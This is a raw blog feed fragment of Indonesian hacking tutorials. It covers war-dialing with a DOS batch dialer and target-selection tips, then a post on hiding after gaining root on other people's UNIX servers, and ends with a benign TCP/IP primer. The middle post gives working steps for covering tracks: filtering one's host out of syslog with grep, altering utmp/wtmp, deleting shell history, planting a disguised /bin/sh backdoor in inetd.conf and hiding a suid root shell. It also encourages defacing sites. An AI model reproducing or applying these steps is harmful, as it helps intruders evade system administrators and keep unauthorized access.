jutaan nomor, namun mungkin yang&lt;br /&gt;akan membuat kita benar-benar tertarik hanyalah sekitar 1 persen dari&lt;br /&gt;seluruh nomor tersebut, mungkin nomor-nomor tersebut adalah kelompok nomor&lt;br /&gt;yang menjawab panggilan dengan nada "carrier" (untuk mendengar contoh nada&lt;br /&gt;'carrier' coba saja telepon langsung nomor telepon ISP anda). Solusi logis&lt;br /&gt;dari permasalahan menjumpai nomor 'carrier' tersebut adalah tentu saja&lt;br /&gt;dengan mencoba mendial sebanyak mungkin nomor untuk mengetahui nomor-nomor&lt;br /&gt;mana saja yang merespon dengan 'carrier'. Dari sinilah aspek "war-dialing"&lt;br /&gt;lahir. Pada prinsipnya, kita bisa dengan mudah menginstruksikan modem kita&lt;br /&gt;untuk mendial banyak nomor dengan sedikit pengetahuan dasar dalam&lt;br /&gt;instruksi standar modem. Lihat program singkat dibawah (ditulis dalam&lt;br /&gt;batch language untuk DOS):&lt;br /&gt;&lt;br /&gt;set port=1&lt;br /&gt;set number1=3160000&lt;br /&gt;set number2=3160001&lt;br /&gt;set number3=3160002&lt;br /&gt;&lt;br /&gt;cls&lt;br /&gt;echo Mengaktifkan modem&lt;br /&gt;echo ATDT&gt;COM%port%&lt;br /&gt;choice /c:ync /t:n,2&lt;br /&gt;echo H1&gt;COM%port%&lt;br /&gt;choice /c:ync /t:n,2&lt;br /&gt;cls&lt;br /&gt;echo Mengaktifkan Modem&lt;br /&gt;echo ATDT&gt;COM%port%&lt;br /&gt;choice /c:ync /t:n,2&lt;br /&gt;echo H1&gt;COM%port%&lt;br /&gt;choice /c:ync /t:n,2&lt;br /&gt;&lt;br /&gt;echo ATDT %number1% &gt;COM%port%&lt;br /&gt;echo H1 &gt;COM%port%&lt;br /&gt;echo ATDT %number2% &gt;COM%port%&lt;br /&gt;echo H1 &gt;COM%port%&lt;br /&gt;echo ATDT %number3% &gt;COM%port%&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;prototipe program diatas akan secara berurutan mendial nomor telepon&lt;br /&gt;3160000 sampai 316xxxx tergantung selera anda. Jelas program tersebut&lt;br /&gt;masih sangat sederhana dan tidak mempunyai kemampuan menyimpan nomor mana&lt;br /&gt;saja yang menjawab dengan carrier. Idenya sederhana: dial sebuah nomor,&lt;br /&gt;jika modem menjawab dengan CONNECT, simpan nomor tersebut, dan lanjutkan&lt;br /&gt;ke nomor berikutnya, dan seterusnya. Program-program WarDialing banyak&lt;br /&gt;bertebaran di Internet, yang terkenal adalah CatCalls dan ToneLoc,&lt;br /&gt;keduanya bisa di-download dari arsip kecoak. direktori&lt;br /&gt;/eksploit/fonedialer. &lt;br /&gt;&lt;br /&gt;Aplikasi WarDialing&lt;br /&gt;-------------------&lt;br /&gt;Tentu saja kamu bisa menginstruksikan komputermu untuk mendial seluruh&lt;br /&gt;nomor dari 000-0000 sampai 999-9999, tapi bayangkan berapa banyak waktu&lt;br /&gt;yang diperlukan. Untuk mereka yang cermat, solusinya jelas, untuk&lt;br /&gt;memperpendek rentang nomor yang ditargetkan. Untuk menjumpai nomor-nomor&lt;br /&gt;potensial yang bisa ditargetkan biasanya digunakan sedikit guide seperti:&lt;br /&gt;&lt;br /&gt;1. Coba perusahaan besar atau institusi pemerintah&lt;br /&gt;2. Lihat di buku telepon nomor yang mereka punyai&lt;br /&gt;3. Karena biasanya perusahaan atau institusi pemerintah mempunyai blok&lt;br /&gt;   nomor sekaligus (Contoh, misalnya target kamu adalah BPPT, dan lihat bahwa&lt;br /&gt;   nomor-nomor telepon kantor mereka berkepala 314, 315, dan 316, maka bisa&lt;br /&gt;   dicoba mulai dari 314-0000 sampai 316-9999).&lt;br /&gt;4. Ingatlah bahwa kamu hanya masih dalam tahap 'meraba-raba', jadi ada&lt;br /&gt;   kemungkinan modem kamu bertemu dengan manusia biasa, mesin penjawab&lt;br /&gt;   telepon, mesin faksimil, bermacam-macam PBX atau PABX, bermacam-macam&lt;br /&gt;   sistem komputer lain, dan banyak lagi kemungkinan). Dari semua nomor yang&lt;br /&gt;   direkam oleh ToneLoc/CatCall sebagai 'carrier tone', perlu kamu konfirmasi&lt;br /&gt;   secara manual apa sebenarnya yang menjawab. Ada kemungkinan (besar) kamu&lt;br /&gt;   bertemu sebuah prompt untuk sistem tertentu, cari informasi lebih lanjut&lt;br /&gt;   tentang sistem tersebut lewat internet (coba lihat apakah ada eksploitnya,&lt;br /&gt;   siapa pembuatnya, dll). Untuk daftar prompt-prompt yang familiar, lihat&lt;br /&gt;   lagi artikel HackingFAQ kecoak di edisi #1.&lt;br /&gt;&lt;br /&gt;Catatan Akhir&lt;br /&gt;-------------&lt;br /&gt;Sampai disini dulu artikel scanning ini. Satu kata peringatan adalah agar&lt;br /&gt;pembaca semua menerapkan kehati-hatian (seperti anonimitas, dll) dalam&lt;br /&gt;eksplorasi ini. Jangan takut untuk mencoba, tapi tetaplah berhati-hati.&lt;br /&gt;Jangan lupa baca artikel berikutnya mengenai scanning melalui TCP/IP.&lt;br /&gt;&lt;br /&gt;-JiroKul&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-7030922804779199075?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/7030922804779199075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-skanning-massal-bagian.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/7030922804779199075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/7030922804779199075'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-skanning-massal-bagian.html' title='BELAJAR HACKING :Skanning Massal Bagian 1 (WarDialing)'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-4598154440485901442</id><published>2009-04-27T00:01:00.000-07:00</published><updated>2009-04-27T00:03:35.157-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Siluman Dalam UNIX: Teknik-teknik dasar antideteksi</title><content type='html'>Siluman Dalam UNIX: Teknik-teknik dasar antideteksi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dengan semakin banyaknya diantara kita semua yang berhasil mendapatkan&lt;br /&gt;account di server-server UNIX seantero dunia, mungkin ada baiknya kita&lt;br /&gt;pelajari teknik-teknik menyembunyikan diri. Tujuannya jelas, pasti suatu&lt;br /&gt;saat kamu pingin 'naik kelas' dan mengalihkan sasaran bukan hanya ke ac.jp&lt;br /&gt;atau or.jp lagi (yang memang sysadmin2nya pada ceroboh). Cara-cara dibawah&lt;br /&gt;ditulis dengan asumsi bahwa kamu telah berhasil mendapatkan 'root'.&lt;br /&gt;Program-program yang disebut di dalam teks ini bisa anda dapatkan lewat&lt;br /&gt;arsip kecoak. Shout outs to k-elektronik dan para op di #IndoHack (gelo)&lt;br /&gt;dan #IndoSex &gt;:)&lt;br /&gt;&lt;br /&gt;Yang jelas-jelas&lt;br /&gt;----------------&lt;br /&gt;- sedapatnya gunakan selalu terminal umum / anonimus&lt;br /&gt;- sebelum melogin, ada baiknya koneksi di-bounce dulu beberapa kali lewat&lt;br /&gt;wingate&lt;br /&gt;- jangan menyerang target yang jelas-jelas berbahaya&lt;br /&gt;- jangan tinggalkan file-file seperti .rhoshts dan hosts.equiv di sistem&lt;br /&gt;sasaran&lt;br /&gt;- jangan ganggu atau ubah isi file /etc/passwd, jangan tambahkan account&lt;br /&gt;baru. Jika kamu perlu akses, silakan ambil file ini, simpan dan jalankan&lt;br /&gt;crack. Setelah itu login dengan username biasa, dan untuk mendapatkan&lt;br /&gt;root, gunakan eksploit lokal (baca artikel mengenai jenis-jenis eksploit&lt;br /&gt;di kecoak).&lt;br /&gt;- saat menambahkan "/bin/sh" ke inetd.conf, coba untuk menyembunyikannya&lt;br /&gt;sedikit (jangan terang-terangan menambahkan /bin/sh - coba gunakan&lt;br /&gt;perintah 'ln' ke file lain yang namanya tidak mencurigakan).&lt;br /&gt;- jika kamu ingin telnet atau ftp out, jangan langsung mengetikkan&lt;br /&gt;parameter nama host di command prompt. Cukup ketikkan 'telnet' atau 'ftp',&lt;br /&gt;lalu di prompt telnet (atau ftp) ketikkan 'op [nama.host.target.net]'.&lt;br /&gt;Dengan cara ini jika sysadmin ingin melihat apa yang sedang dikerjakan&lt;br /&gt;oleh seluruh user (dengan 'ps -aux'), yang nampak hanyalah login dan nama&lt;br /&gt;proses (telnet). Untuk menghindari kecurigaan jika kamu menggunakan sang&lt;br /&gt;sistem sebagai launchpad (admin manapun bakalan tegang ngelihat user biasa&lt;br /&gt;yang nama prosesnya 'telnet abri.mil.id').&lt;br /&gt;&lt;br /&gt;File-file log&lt;br /&gt;----------------&lt;br /&gt;Hampir semua sistem mempunyai petunjuk path untuk file-file log ini di&lt;br /&gt;/etc/syslog.conf. Silakan periksa file ini (gunakan 'find' atau 'which'),&lt;br /&gt;catat lokasi file-file log, dan silakan kamu telaah isinya. Modifikasi&lt;br /&gt;secukupnya. Pada beberapa sistem, dengan menggunakan 'tail' bisa kamu&lt;br /&gt;lihat apakah kamu (baik nama login, maupun host kamu) tercatat di file&lt;br /&gt;log. * JANGAN * hapus file-file log ini. Sang sysadmin akan dengan segera&lt;br /&gt;mengetahui keberadaanmu! Cara cepat untuk menghilangkan jejak adalah jelas&lt;br /&gt;dengan menggunakan perintah 'grep':&lt;br /&gt;&lt;br /&gt;# cat syslog | grep -v "attacking.host.com" &gt; syslog&lt;br /&gt;&lt;br /&gt;Apa akibat dari perintah ini? Misalkan kamu dicatat me-log-in dengan host&lt;br /&gt;asal attacking.host.com, dan log sistem akan mencatat "Connected … from&lt;br /&gt;attacking.host.com". Nah perintah diatas akan menghapus seluruh baris&lt;br /&gt;entri file syslog yang memuat nama host kamu. Ingatlah agar * hanya *&lt;br /&gt;menghapus entri yang bisa dihubungkan denganmu, jadi jangan utak-utik&lt;br /&gt;entri-entri lain.&lt;br /&gt;&lt;br /&gt;File-file utmp dan wtmp&lt;br /&gt;--------------------------&lt;br /&gt;utmp dan wtmp adalah file-file yang bertugas untuk mencatat data login.&lt;br /&gt;utmp menyimpan informasi mengenai siapa saja yang sedang ter-log-in&lt;br /&gt;(misalnya saat kamu menjalankan perintah "who"). File wtmp menyimpan data&lt;br /&gt;para pengguna yang pernah memakai sistem, dan informasi berapa lama&lt;br /&gt;pengguna tersebut ter-log-in (seperti saat kamu menjalankan perintah&lt;br /&gt;"last"). Hampir setiap sysadmin akan mengandalkan kedua file ini sebagai&lt;br /&gt;langkah pertama dalam kasus pembobolan. * JANGAN * menghapus file-file&lt;br /&gt;utmp dan wtmp, sama seperti di atas, hilangnya file ini akan memancing&lt;br /&gt;perhatian sang sysadmin. Gunakan program-program seperti zap.c atau zap2.c&lt;br /&gt;(mungkin tidak bisa jalan di beberapa sistem tertentu). Atau bisa kamu&lt;br /&gt;pelajari perintah 'dd' untuk merekonstruksi file log ini, dengan syarat&lt;br /&gt;kamu harus memahami ukuran tepat struktur file utmp di sistem tersebut.&lt;br /&gt;&lt;br /&gt;File-file history&lt;br /&gt;-----------------&lt;br /&gt;Yang ini boleh kamu hapus. Tergantung dari jenis shell dan variabel ENV&lt;br /&gt;yang kamu gunakan, jalankan perintah 'rm $HOME/.history' atau 'rm&lt;br /&gt;$HOME/.bash_history'. Jalankan 'setenv' untuk melihat lokasi HISTFILE.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lain-lain&lt;br /&gt;---------&lt;br /&gt;Jika kamu berhasil mendapatkan shell berprivilese root, pastikan bahwa&lt;br /&gt;kamu mengganti namanya dengan sesuatu yang tidak mencurigakan, dan jangan&lt;br /&gt;simpan shell ini di direktori home milik user. Sembunyikan bersama&lt;br /&gt;file-file binaries ber-suid lainnya.&lt;br /&gt;&lt;br /&gt;Jangan mengubah-ubah file konfigurasi, file-file webpage, dan sebagainya.&lt;br /&gt;Usahakan merubah sesedikit mungkin. Jika kamu hanya ingin 'sekali pukul'&lt;br /&gt;(seperti membajak situs web tanpa meninggalkan jejak), silakan ubah&lt;br /&gt;file-file webpage, dan pastikan syslog, utmp, dan wtmp tidak mencatat&lt;br /&gt;kehadiran kamu.&lt;br /&gt;&lt;br /&gt;Jika kamu memasang sniffer ethernet, harap diingat bahwa driver ethernet&lt;br /&gt;yang kamu gunakan akan tetap bisa diperhatikan oleh sang sysadmin.&lt;br /&gt;&lt;br /&gt;Sebagai penutup: gunakan akal dan imajinasi kamu. Bayangkan dirimu sebagai&lt;br /&gt;seorang admin. Antisipasi gerak-gerik sang admin, tempatkan selalu kata&lt;br /&gt;'paranoid' di otak kamu, gunakan backdoor-backdoor yang kreatif dan sulit&lt;br /&gt;ditemukan. Selamat nge-hack, dan jangan lupa bagi-bagi hasil!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-4598154440485901442?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/4598154440485901442/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/siluman-dalam-unix-teknik-teknik-dasar.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4598154440485901442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4598154440485901442'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/siluman-dalam-unix-teknik-teknik-dasar.html' title='Siluman Dalam UNIX: Teknik-teknik dasar antideteksi'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-6689599012517849857</id><published>2009-04-26T23:40:00.000-07:00</published><updated>2009-04-26T23:47:23.899-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tcp/ip'/><title type='text'>BELAJAR HACKING : Konsep Dasar TCP/IP</title><content type='html'>========================================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TCP/IP merupakan dasar dari segalanya, tanpa mempelajari TCP/PI &lt;br /&gt;kemungkinan kita tidak dapat melakah maju di dunia pehackingan. Dengan &lt;br /&gt;kata lain, TCP/IP merupakan awal dari segalanya. Banyak orang yg &lt;br /&gt;menyepelekan pentingnya mempelajari TCP/IP, mereka mengaku dirinya &lt;br /&gt;"hacker" tetapi tidak mengerti sama sekali apa itu TCP/IP. Merasa hacker &lt;br /&gt;hanya apabila bisa mencrash ataupun menjebol server, tetapi sebetulnya &lt;br /&gt;bukan itulah maksud dari segala itu. Hacker itu adalah orang yg haus &lt;br /&gt;akan pengetahuan, bukan haus akan penghancuran. Untuk menjadi hacker &lt;br /&gt;dibutuhkan kerja keras, semangat, motivasi yg tinggi serta pemahaman &lt;br /&gt;seluk-beluk internet itu sendiri, tanpa hal-hal tersebut mustahil anda &lt;br /&gt;dapat menjadi seorang hacker yang tangguh.&lt;br /&gt;&lt;br /&gt;Tulisan ini didedikasikan terutama untuk member Kecoak Elektronik dan &lt;br /&gt;siapa saja yang ingin mempelajari TCP/IP, bukan untuk mereka yang hanya &lt;br /&gt;ingin mencari jalan pintas menjadi hacker sejati. Bagi anda yg memang &lt;br /&gt;udah profhacking mungkin tulisan ini tidak penting, karena memang &lt;br /&gt;tulisan ini hanyalah pengantar belaka dan bukan merupakan referensi yg &lt;br /&gt;sempurna (dan jauh dari sempurna) oleh karenanya hanya dikhususkan bagi &lt;br /&gt;mereka yg pendatang baru (newbies).&lt;br /&gt;&lt;br /&gt;1. Apa itu TCP/IP ?&lt;br /&gt;-------------------&lt;br /&gt;TCP/IP adalah salah satu jenis protokol* yg memungkinkan kumpulan &lt;br /&gt;komputer untuk berkomunikasi dan bertukar data didalam suatu  network &lt;br /&gt;(jaringan).&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt; Merupakan himpunan aturan yg memungkinkan komputer untuk  berhubungan &lt;br /&gt; antara satu dengan yg lain, biasanya berupa bentuk / waktu / barisan / &lt;br /&gt; pemeriksaan error saat transmisi data.&lt;br /&gt;***********************************************************************&lt;br /&gt;2. Apa yg membuat TCP/IP menjadi penting ?&lt;br /&gt;------------------------------------------&lt;br /&gt;Karena TCP/IP merupakan protokol yg telah diterapkan pada hampir semua &lt;br /&gt;perangkat keras dan sistem operasi. Tidak ada rangkaian protokol lain yg &lt;br /&gt;tersedia pada semua sistem berikut ini :&lt;br /&gt;&lt;br /&gt;a. Novel Netware.&lt;br /&gt;b. Mainframe IBM.&lt;br /&gt;c. Sistem digital VMS.&lt;br /&gt;d. Server Microsoft Windows NT&lt;br /&gt;e. Workstation UNIX, LinuX, FreeBSD&lt;br /&gt;f. Personal komputer DOS.  &lt;br /&gt;&lt;br /&gt;3. Bagaimana awalnya keberadaan TCP/IP ?&lt;br /&gt;----------------------------------------&lt;br /&gt;Konsep TCP/IP berawal dari kebutuhan DoD (Departement of Defense) AS &lt;br /&gt;akan suatu komunikasi di antara berbagai variasi komputer yg telah ada. &lt;br /&gt;Komputer-komputer DoD ini seringkali harus berhubungan antara satu &lt;br /&gt;organisasi peneliti dg organisasi peneliti lainnya, dan harus tetap &lt;br /&gt;berhubungan sehingga pertahanan negara tetap berjalan selama terjadi &lt;br /&gt;bencana, seperti ledakan nuklir. Oleh karenanya pada tahun 1969 &lt;br /&gt;dimulailah penelitian terhadap serangkaian protokol TCP/IP. Di antara &lt;br /&gt;tujuan-tujuan penelitian ini adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;1. Terciptanya protokol-protokol umum, DoD memerlukan suatu protokol yg &lt;br /&gt;   dapat ditentukan untuk semua jaringan.&lt;br /&gt;2. Meningkatkan efisiensi komunikasi data.&lt;br /&gt;3. Dapat dipadukan dengan teknologi WAN (Wide Area Network) yg telah &lt;br /&gt;   ada.&lt;br /&gt;4. Mudah dikonfigurasikan.&lt;br /&gt;&lt;br /&gt;Tahun 1968 DoD ARPAnet (Advanced Reseach Project Agency) memulai &lt;br /&gt;penelitian yg kemudian menjadi cikal bakal packet switching . Packet &lt;br /&gt;switching  inilah yg memungkinkan komunikasi antara lapisan network &lt;br /&gt;(dibahas nanti) dimana data  dijalankan dan disalurkan melalui jaringan &lt;br /&gt;dalam bentuk unit-unit kecil yg disebut packet*. Tiap-tiap packet ini &lt;br /&gt;membawa informasi alamatnya masing-masing yg ditangani dengan khusus &lt;br /&gt;oleh jaringan tersebut dan tidak tergantung dengan paket-paket lain.&lt;br /&gt;Jaringan yg dikembangkan ini, yg menggunakan ARPAnet sebagai tulang &lt;br /&gt;punggungnya, menjadi terkenal sebagai internet.&lt;br /&gt;&lt;br /&gt;Protokol-protokol TCP/IP dikembangkan lebih lanjut pada awal 1980 dan &lt;br /&gt;menjadi protokol-protokol standar untuk ARPAnet pada tahun 1983. &lt;br /&gt;Protokol-protokol ini mengalami peningkatan popularitas di komunitas &lt;br /&gt;pemakai ketika TCP/IP digabungkan menjadi versi 4.2 dari BSD (Berkeley &lt;br /&gt;Standard Distribution) UNIX. Versi ini digunakan secara luas pada &lt;br /&gt;institusi penelitian dan pendidikan dan digunakan sebagai dasar dari &lt;br /&gt;beberapa penerapan UNIX komersial, termasuk SunOS dari Sun dan Ultrix &lt;br /&gt;dari Digital. Karena BSD UNIX mendirikan hubungan antara TCP/IP dan &lt;br /&gt;sistem operasi UNIX, banyak implementasi UNIX sekarang menggabungkan &lt;br /&gt;TCP/IP.&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt; unit informasi yg mana jaringan berkomunikasi. Tiap-tiap paket berisi   &lt;br /&gt; identitas (header) station pengirim dan penerima, informasi error-&lt;br /&gt; control, permintaan suatu layanan dalam lapisan network, informasi &lt;br /&gt; bagaimana menangani permintaan dan sembarang data penting yg harus &lt;br /&gt; ditransfer.&lt;br /&gt;************************************************************************&lt;br /&gt;&lt;br /&gt;4. Layanan apa saja yg diberikan oleh TCP/IP ?&lt;br /&gt;----------------------------------------------&lt;br /&gt;Berikut ini adalah layanan "tradisional" yg dilakukan TCP/IP :&lt;br /&gt;&lt;br /&gt;a. Pengiriman file (file transfer). File Transfer Protokol (FTP) &lt;br /&gt;   memungkinkan  pengguna komputer  yg satu untuk dapat mengirim ataupun &lt;br /&gt;   menerima file ke komputer jaringan. Karena masalah keamanan data, &lt;br /&gt;   maka FTP seringkali memerlukan nama pengguna (user name) dan &lt;br /&gt;   password, meskipun banyak juga FTP yg dapat diakses melalui &lt;br /&gt;   anonymous, alias tidak  berpassword. (lihat RFC 959 untuk spesifikasi &lt;br /&gt;   FTP)&lt;br /&gt;b. Remote login. Network terminal Protokol (telnet) memungkinkan &lt;br /&gt;   pengguna komputer dapat melakukan log in ke dalam suatu komputer &lt;br /&gt;   didalam suatu jaringan. Jadi hal ini berarti bahwa pengguna &lt;br /&gt;   menggunakan komputernya sebagai perpanjangan tangan dari komputer &lt;br /&gt;   jaringan tersebut.( lihat RFC 854 dan 855 untuk spesifikasi telnet   &lt;br /&gt;   lebih lanjut)&lt;br /&gt;c. Computer mail. Digunakan untuk menerapkan sistem elektronik mail. &lt;br /&gt;   (lihat RFC 821 dan 822)&lt;br /&gt;&lt;br /&gt;d. Network File System (NFS). Pelayanan akses file-file jarak jauh yg &lt;br /&gt;   memungkinkan klien-klien untuk mengakses file-file pada komputer &lt;br /&gt;   jaringan jarak jauh walaupun file tersebut disimpan secara lokal. &lt;br /&gt;   (lihat RFC 1001 dan 1002 untuk keterangan lebih lanjut)&lt;br /&gt;e. remote execution. Memungkinkan pengguna komputer untuk menjalankan    &lt;br /&gt;   suatu program didalam komputer yg berbeda. Biasanya berguna jika &lt;br /&gt;   pengguna menggunakan komputer yg terbatas, sedangkan ia memerlukan &lt;br /&gt;   sumber yg banyak dalam suatu system komputer. Ada beberapa jenis &lt;br /&gt;   remote execution, ada yg berupa perintah-perintah dasar saja, yaitu &lt;br /&gt;   yg dapat dijalankan dalam system komputer yg sama dan ada pula yg &lt;br /&gt;   menggunakan "prosedure remote call system", yg memungkinkan program &lt;br /&gt;   untuk memanggil subroutine yg akan dijalankan di system komputer yg &lt;br /&gt;   berbeda. (sebagai contoh dalam Berkeley UNIX ada perintah "rsh" dan &lt;br /&gt;   "rexec")&lt;br /&gt;f. name servers. Nama database alamat yg digunakan pada internet (lihat &lt;br /&gt;   RFC 822 dan 823 yg menjelaskan mengenai penggunaan protokol name &lt;br /&gt;   server yg bertujuan untuk menentukan nama host di internet.)&lt;br /&gt;&lt;br /&gt;************************************************************************&lt;br /&gt; RFC (Request For Comments) adalah merupakan standar yg digunakan dalam &lt;br /&gt; internet, meskipun ada juga isinya yg merupakan bahan diskusi ataupun  &lt;br /&gt; omong kosong belaka. Diterbitkan oleh IAB (Internet Activities Board) &lt;br /&gt; yg merupakan komite independen para peneliti dan profesional yg  &lt;br /&gt; mengerti teknis, kondisi dan evolusi sistem internet. Sebuah surat yg  &lt;br /&gt; mengikuti nomor RFC menunjukan status RFC :&lt;br /&gt;  S: standard, standar resmi bagi internet&lt;br /&gt; DS: Draft standard, protokol tahap akhir sebelum disetujui sebagai &lt;br /&gt;     standar&lt;br /&gt; PS: Proposed Standard, protokol pertimbangan untuk standar masa depan&lt;br /&gt;  I: Informational, berisikan bahan-bahan diskusi yg sifatnya informasi&lt;br /&gt;  E: Experimental, protokol dalam tahap percobaan tetapi bukan pada jalur &lt;br /&gt;     standar.&lt;br /&gt;  H: Historic, protokol-protokol yg telah digantikan atau tidak lagi &lt;br /&gt;     dipertimbankan utk standarisasi.&lt;br /&gt;************************************************************************&lt;br /&gt;5. Bagaimanakah bentuk arsitektur dari TCP/IP itu ?&lt;br /&gt;---------------------------------------------------&lt;br /&gt;Dikarenakan TCP/IP adalah serangkaian protokol di mana setiap protokol &lt;br /&gt;melakukan sebagian dari keseluruhan tugas komunikasi jaringan, maka &lt;br /&gt;tentulah implementasinya tak lepas dari arsitektur jaringan itu sendiri. &lt;br /&gt;Arsitektur rangkaian protokol TCP/IP mendifinisikan berbagai cara agar &lt;br /&gt;TCP/IP dapat saling menyesuaikan.&lt;br /&gt;&lt;br /&gt;Karena TCP/IP merupakan salah satu lapisan protokol OSI * (Open System &lt;br /&gt;Interconnections), berarti bahwa hierarki TCP/IP merujuk kepada 7 &lt;br /&gt;lapisan OSI tersebut. Berikut adalah model referensi OSI 7 lapisan, yg &lt;br /&gt;mana setiap lapisan menyediakan tipe khusus pelayanan jaringan :&lt;br /&gt;&lt;br /&gt;         Peer process&lt;br /&gt;|Application layer |&lt;-----------------&gt;|Application layer |&lt;br /&gt;|Presentation layer|&lt;-----------------&gt;|Presentation layer|&lt;br /&gt;|Session layer     |&lt;-----------------&gt;|Session layer     |&lt;br /&gt;|Transport layer   |&lt;-----------------&gt;|Transport layer   |&lt;br /&gt;|Network layer     |&lt;-----------------&gt;|Network layer     |&lt;br /&gt;|Data link layer   |&lt;-----------------&gt;|Data link layer   |&lt;br /&gt;|Physical layer    |&lt;-----------------&gt;|Physical layer    |&lt;br /&gt;&lt;br /&gt;Tiga lapisan teratas biasa dikenal sebagai "upper lever protocol" &lt;br /&gt;sedangkan empat lapisan terbawah dikenal sebagai "lower level protocol". &lt;br /&gt;Tiap lapisan berdiri sendiri tetapi fungsi dari masing-masing lapisan &lt;br /&gt;bergantung dari keberhasilan operasi layer sebelumnya. Sebuah lapisan &lt;br /&gt;pengirim hanya perlu berhubungan dengan lapisan yang sama di penerima &lt;br /&gt;(jadi misalnya lapisan data link penerima hanya berhubungan dengan data &lt;br /&gt;link pengirim) selain dengan satu layer di atas atau dibawahnya &lt;br /&gt;(misalnya lapisan network berhubungan dengan   lapisan transport &lt;br /&gt;diatasnya atau dengan lapisan data link dibawahnya).&lt;br /&gt;&lt;br /&gt;Model dengan menggunakan lapisan ini merupakan sebuah konsep yg penting &lt;br /&gt;karena suatu fungsi yg rumit yg berkaitan dengan komunikasi dapat &lt;br /&gt;dipecahkan menjadi sejumlah unit yg lebih kecil. Tiap lapisan bertugas &lt;br /&gt;memberikan layanan tertentu pada lapisan diatasnya dan juga melindungi &lt;br /&gt;lapisan diatasnya dari rincian cara pemberian layanan tersebut. Tiap &lt;br /&gt;lapisan harus transparan sehingga modifikasi yg dilakukan atasnya tidak &lt;br /&gt;akan menyebabkan perubahan pada lapisan yang lain. Lapisan menjalankan &lt;br /&gt;perannya dalam pengalihan data dengan mengikuti peraturan yang berlaku &lt;br /&gt;untuknya dan hanya berkomunikasi dengan lapisan yang setingkat. &lt;br /&gt;Akibatnya sebuah layer pada satu sistem tertentu hanya akan berhubungan &lt;br /&gt;dengan lapisan yang sama dari sistem yang lain. Proses ini dikenal &lt;br /&gt;sebagai "Peer process". Dalam keadaan sebenarnya tidak ada data yang &lt;br /&gt;langsung dialihkan antar lapisan yang sama dari dua sistem yang berbeda &lt;br /&gt;ini. Lapisan atas akan memberikan data dan kendali ke lapisan dibawahnya &lt;br /&gt;sampai lapisan yang terendah dicapai. Antara dua lapisan yang berdekatan &lt;br /&gt;terdapat "interface" (antarmuka). Interface ini mendifinisikan operasi &lt;br /&gt;dan layanan yang diberikan olehnya ke lapisan lebih atas. Tiap lapisan &lt;br /&gt;harus melaksanakan sekumpulan fungsi khusus yang dipahami dengan &lt;br /&gt;sempurna. Himpunan lapisan dan protokol dikenal sebagai "arsitektur &lt;br /&gt;jaringan".&lt;br /&gt;&lt;br /&gt;Pengendalian komunikasi dalam bentuk lapisan menambah overhead karena &lt;br /&gt;tiap lapisan berkomunikasi dengan lawannya melalui "header". Walaupun &lt;br /&gt;rumit tetapi fungsi tiap lapisan dapat dibuat dalam bentuk modul &lt;br /&gt;sehingga kerumitan dapat ditanggulangi dengan mudah.&lt;br /&gt;Disini kita tidak akan membahas model OSI secara mendalam secara &lt;br /&gt;keseluruhannya, karena protokol TCP/IP tidak mengikuti benar model &lt;br /&gt;referensi OSI tersebut. Walaupun demikian, TCP/IP model akan terlihat &lt;br /&gt;seperti ini :&lt;br /&gt;&lt;br /&gt;      =========================================&lt;br /&gt;      |Application layer  |                   |&lt;br /&gt;      |Presentation layer | Application layer |&lt;br /&gt;      |Session layer      |                   |                  &lt;br /&gt;      |===================|===================|                &lt;br /&gt;      |Transport layer    |  Transport layer/ |&lt;br /&gt;      |                   |    Host to host   |&lt;br /&gt;      |=======================================|&lt;br /&gt;      |Network  layer     | Network layer/    |&lt;br /&gt;      |                   | internet layer    |&lt;br /&gt;      |===================|===================|&lt;br /&gt;      |Data Link layer    | Network access    |&lt;br /&gt;      |Physical layer     |                   |&lt;br /&gt;      |===================|===================|&lt;br /&gt;    Model OSI         model internet&lt;br /&gt;&lt;br /&gt;Sekarang mari kita bahas keempat lapisan tersebut.&lt;br /&gt;&lt;br 